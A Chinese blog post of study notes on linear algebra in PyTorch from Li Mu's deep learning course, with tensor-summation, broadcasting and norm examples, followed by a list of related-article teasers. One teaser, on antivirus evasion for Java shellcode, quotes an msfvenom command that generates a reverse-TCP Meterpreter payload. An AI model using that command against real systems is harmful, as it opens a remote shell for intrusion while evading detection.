【李沐深度学习笔记】线性代数实现

课程地址和说明

线性代数实现p2
本系列文章是我学习李沐老师深度学习系列课程的学习笔记,可能会对李沐老师上课没讲到的进行补充。
这节就算之前内容的复习,后面以截图形式呈现

标量由只有一个元素的张量表示

import torch
x = torch.tensor([3.0])
y = torch.tensor([2.0])
# 加减法
print(x+y)
# 乘法
print(x * y)
# 除法
print(x / y)
# 幂运算
print(x**y)

运行结果:
tensor([5.])
tensor([6.])
tensor([1.5000])
tensor([9.])

你可以将向量视为标量值组成的列表

# 生成0-3的顺序列表,(函数是左闭右开)
x = torch.arange(4)
print(x)

运行结果:
tensor([0, 1, 2, 3])

通过张量的索引来访问任一元素

访问张量的长度

只有一个轴的张量,形状只有一个元素。

通过指定两个分量m和n来创建一个形状为m × n的矩阵

矩阵的转置

对称矩阵的转置

构造多轴的数据结构


【注】就是构建多维数组

给定具有相同形状的任何两个张量,任何按元素二元运算的结果都将是相同形状的张量

矩阵的哈达玛积

其实就是不按矩阵乘法来,按两个矩阵对应元素相乘得到个新矩阵(前提是矩阵是同形的,即两个相乘的矩阵行列数需要一致)

标量和矩阵相加是所有元素都与标量相加得到新矩阵

计算矩阵所有元素的和

表示任意形状张量的元素和

不论张量形状如何,其求所有元素和的结果永远是标量

指定求和汇总张量的轴(按不同维度求和)


【注】axis是按不同维度求和,从0开始是第1个维度。这里理解上稍微有点难度,我写了代码:

# 按维度求和
C = torch.arange(12).reshape(3,4)
print(C)
# 第一个维度(按列)求和结果
result = C.sum(axis=0)
print(result)
# 第二个维度(按行)求和结果
result = C.sum(axis=1)
print(result)
# 对第一和第二维度合并求和
result = C.sum(axis=[0,1])
print(result)

运行结果:
tensor([[ 0, 1, 2, 3],
[ 4, 5, 6, 7],
[ 8, 9, 10, 11]])
tensor([12, 15, 18, 21])
tensor([ 6, 22, 38])
tensor(66)

# 按维度求和(三维版)
C = torch.arange(27).reshape(3,3,3)
print(C)
# 第一个维度求和结果
result = C.sum(axis=0)
print(result)
# 第二个维度求和结果
result = C.sum(axis=1)
print(result)
# 第三个维度求和结果
result = C.sum(axis=2)
print(result)
# 对第一和第二维度合并求和
result = C.sum(axis=[0,1])
print(result)

运行结果:
tensor([[[ 0, 1, 2],
[ 3, 4, 5],
[ 6, 7, 8]],
[[ 9, 10, 11],
[12, 13, 14],
[15, 16, 17]],
[[18, 19, 20],
[21, 22, 23],
[24, 25, 26]]])
tensor([[27, 30, 33],
[36, 39, 42],
[45, 48, 51]])
tensor([[ 9, 12, 15],
[36, 39, 42],
[63, 66, 69]])
tensor([[ 3, 12, 21],
[30, 39, 48],
[57, 66, 75]])
tensor([108, 117, 126])
3维版本就相当于这样一个列表,存储了3个矩阵

对第一个维度求和,相当于对每一个矩阵按列优先求和,比如第一个矩阵的(1,2)元素和第二个矩阵的(1,2)元素还有第三个矩阵的(1,2)元素相加就是求和结果中的(1,2)元素30。
对第二个维度求和,相当于对每一个矩阵的每一列求和, 然后得到该结果。
对第三个维度求和,对每一个矩阵的行求和,然后得到该结果
对第一个和第二个维度合并求和,相当于先对第一个维度求和,再对得到的二维矩阵的列求和。

一个与求和相关的量是平均值(mean或average)


【注】In[20]是指按不同维度求均值

计算总和或均值时保持轴数不变

## 不丢维度对各维度求和
a = torch.tensor([[1,2,3],[0,1,2],[0,1,0]])
print(a.sum(axis=0, keepdims=True))
print(a.sum(axis=1, keepdims=True))
## 最后结果的维度还是2维,和原数据一致

运行结果:
tensor([[1, 4, 5]])
tensor([[6],
[3],
[1]])

通过广播将A除以sum_A

## 接上文的小写a
## 广播机制求均值
## 用广播机制将求和后的结果补成3X3矩阵再除
print(a)
print(a.sum(axis=0, keepdims=True))
print(a / a.sum(axis=0, keepdims=True))

运行结果:
tensor([[1, 2, 3],
[0, 1, 2],
[0, 1, 0]])
tensor([[1, 4, 5]])
tensor([[1.0000, 0.5000, 0.6000],
[0.0000, 0.2500, 0.4000],
[0.0000, 0.2500, 0.0000]])

某个轴计算A元素的累积总和

# 累加求和
b = torch.arange(12).reshape(3,4)
print(b)
# 按行累加(即第一行加到第二行变为新的第二行,新的第二行加到第三行变为新的第三行)
print(b.cumsum(axis=0))
# 按列累加(即第一列加到第二列变为新的第二列,新的第二列加到第三列变为新的第三列)
print(b.cumsum(axis=1))

运行结果:
tensor([[ 0, 1, 2, 3],
[ 4, 5, 6, 7],
[ 8, 9, 10, 11]])
tensor([[ 0, 1, 2, 3],
[ 4, 6, 8, 10],
[12, 15, 18, 21]])
tensor([[ 0, 1, 3, 6],
[ 4, 9, 15, 22],
[ 8, 17, 27, 38]])

点积是相同位置的按元素乘积的和

我们可以通过执行按元素乘法,然后进行求和来表示两个向量的点积

矩阵向量积 A x \bm{A}\bm{x} Ax是一个长度为 m m m的列向量,其 i t h i^{th} ith元素是点积 a i T x a_{i}^{T} \bm{x} aiTx


【注】这里就是想说明 A \bm{A} A是一个 m × n m\times n m×n的矩阵, x \bm{x} x是一个 n × 1 n\times 1 n×1的列向量,其点积结果就是一个 m × 1 m\times 1 m×1的列向量。

我们可以将矩阵-矩阵乘法AB看作是简单地执行m次矩阵-向量积,并将结果拼接在一起,形成一个n x m矩阵


【注】a是一个5×3的矩阵。

L2范数是向量元素平方和的平方根(欧氏距离)

L范数,它表示为向量元素的绝对值之和

矩阵的弗罗贝尼乌斯范数(Frobenius norm)是矩阵元素的平方和的平方根

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/84501.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Spring Boot魔法:简化Java应用的开发与部署

文章目录 什么是Spring Boot?1. 自动配置(Auto-Configuration)2. 独立运行(Standalone)3. 生产就绪(Production Ready)4. 大量的起步依赖(Starter Dependencies) Spring …

免杀对抗-java语言-shellcode免杀-源码修改+打包exe

JAVA-ShellCode免杀-源码修改&打包EXE Shellcode-生成/上线 1.msf生成shellcode 命令:msfvenom -p java/meterpreter/reverse_tcp LHOSTx.x.x.x LPORTxxxx -f jar -o msf.jar 2.msf设置监听 3.执行msf生成的shellcode jar包,成功上线 命令&#xff1…

05_Bootstrap插件02

7 小标签 通过 .label 实现小标签&#xff0c;用于提示类。 <h1>h1标题 <span class"label label-default">标签</span></h1> <h2>h2标题<span class"label label-default">标签</span></h2> <h3&g…

Uni-app 调用微信地图导航功能【有图】

前言 我们在使用uni-app时&#xff0c;有时候会遇到需要开发地图和导航的功能&#xff0c;这些方法其实微信小程序的API已经帮我们封装好了 详见&#xff1a;微信小程序开发文档 接下来我们就演示如何用uni-app来使用他们 使用 <template><view><button type…

5G通信与蜂窝模组之间的关系

5G通信是第五代移动通信技术的简称&#xff0c;它代表了一种新一代的无线通信技术标准。5G通信的主要目标是提供更高的数据传输速度、更低的延迟、更大的网络容量以及更可靠的连接&#xff0c;以支持各种新兴应用和服务&#xff0c;包括高清视频流、虚拟现实、物联网&#xff0…

Mybatis学习笔记11 缓存相关

Mybatis学习笔记10 高级映射及延迟加载_biubiubiu0706的博客-CSDN博客 缓存:cache 缓存的作用:通过减少IO的方式,来提高程序的执行效率 Mybatis的缓存:将select语句的查询结果放到缓存(内存)当中,下一次还是这条select语句的话,直接从缓存中取,不再查数据库.一方面是减少了I…

【Vue3 源码讲解】nextTick

nextTick 是 Vue 3 中用于异步执行回调函数的函数&#xff0c;它会将回调函数延迟到下一个微任务队列中执行。其中&#xff0c;Vue 更新 DOM 是异步的。下面是对 nextTick 函数的详细解释&#xff1a; export function nextTick<T void, R void>(this: T,fn?: (this:…

websocket php教程

WebSocket 是 HTML5 提供的一种网络通讯协议&#xff0c;用于服务端与客户端实时数据传输。广泛用于浏览器与服务器的实时通讯&#xff0c;APP与服务器的实时通讯等场景。 相比传统HTTP协议请求响应式通讯&#xff0c;WebSocket协议可以做到实时的双向通讯&#xff0c;服务端可…

Webpack打包图片

一、在js文件中引入图片 二、在package.config.js中配置加载器 module.exports {mode: "production", // 设置打包的模式&#xff1a;production生产模式 development开发模式module: {rules: [// 配置img加载器{test: /\.(jpg|png|gif)$/i,type:"asset/resou…

Hadoop-sqoop

sqoop 1. Sqoop简介及原理 简介&#xff1a; Sqoop是一款开源的工具,主要用于在Hadoop(Hive)与传统的数据库(mysq1.postgresql..)间进行数据的传递&#xff0c;可以将一个关系型数据库&#xff08;例如: MySQL ,Oracle ,Postgres等&#xff09;中的数据导进到Hadoop 的HDFS中&…

虚拟机中window/ubuntu系统如何联网?

以下内容源于网络资源的学习与整理&#xff0c;如有侵权请告知删除。 参考博客 &#xff08;1&#xff09;VMware虚拟机中Windows11无法连接网络 &#xff08;2&#xff09;图解vmware虚拟机win8无线上网 &#xff08;3&#xff09;VMware中VMnet0、VMnet1、VMnet8是什么 &…

python教程:使用gevent实现高并发并限制最大并发数

嗨喽~大家好呀&#xff0c;这里是魔王呐 ❤ ~! python更多源码/资料/解答/教程等 点击此处跳转文末名片免费获取 import time import gevent from gevent.pool import Pool from gevent import monkey # 一&#xff0c;定义最大并发数 p Pool(20) # 二&#xff0c;导入gevent…

Flink1.12.7 Standalone版本安装

官网下载版本&#xff1a;https://archive.apache.org/dist/flink/flink-1.12.7/flink-1.12.7-bin-scala_2.12.tgz 可以从首页找到Downloads | Apache Flink&#xff0c;一直往下拉 安装&#xff1a;下载后直接解压即可 添加全局参数&#xff1a; #vi /etc/profile FLINK_HO…

数据结构之堆的结构与实现

目录 一、堆的概念及结构 1.1堆的概念 1.2堆的性质 1.3堆的结构 二、堆的实现 2.1堆向下调整算法&#xff08;父亲与孩子做比较&#xff09; 2.2堆的向上调整算法&#xff08;孩子与父亲做比较&#xff09; 2.3堆的创建&#xff08;向下建堆&#xff09; 2.4向下建堆的时…

GitHub上标星23K+的Redis进阶笔记(应用+原理+集群+拓展+源码)

先来看几道Redis面试题&#xff1a; redis为什么是key&#xff0c;value的&#xff0c;为什么不是支持SQL的&#xff1f;redis是多线程还是单线程&#xff1f;&#xff08;回答单线程的请回吧&#xff0c;为什么请回&#xff0c;请往下看&#xff09;redis的持久化开启了RDB和…

opencv实现仿射变换

什么是仿射变换&#xff1f; 代码实现 import numpy as np import cv2 as cv import matplotlib.pyplot as plt#设置字体 from pylab import mpl mpl.rcParams[font.sans-serif] [SimHei]#图像的读取 img cv.imread("lena.png")#仿射变换 rows , cols img.shape[…

C/C++空格分开输出 2019年12月电子学会青少年软件编程(C/C++)等级考试一级真题答案解析

目录 C/C空格分开输出 一、题目要求 1、编程实现 2、输入输出 二、解题思路 1、案例分析 三、程序代码 四、程序说明 五、运行结果 六、考点分析 C/C空格分开输出 2019年12月 C/C编程等级考试一级编程题 一、题目要求 1、编程实现 读入一个字符&#xff0c;一个整…

校园学习《乡村振兴战略下传统村落文化旅游设计》 许少辉瑞博士生辉少许

校园学习《乡村振兴战略下传统村落文化旅游设计》 许少辉瑞博士生辉少许

9 种方法使用 Amazon CodeWhisperer 快速构建应用

Amazon CodeWhisperer 是一款很赞的生成式人工智能编程工具。自从在工作中使用了 CodeWhisperer&#xff0c;我发现不仅代码编译的效率有所提高&#xff0c;应用开发的工作也变得快乐起来。然而&#xff0c;任何生成式 AI 工具的有效学习都需要初学者要有接受新工作方式的心态和…

Python 基于PyCharm断点调试

视频版教程 Python3零基础7天入门实战视频教程 PyCharm Debug&#xff08;断点调试&#xff09;可以帮助开发者在代码运行时进行实时的调试和错误排查&#xff0c;提高代码开发效率和代码质量。 准备一段代码 def add(num1, num2):return num1 num2if __name__ __main__:f…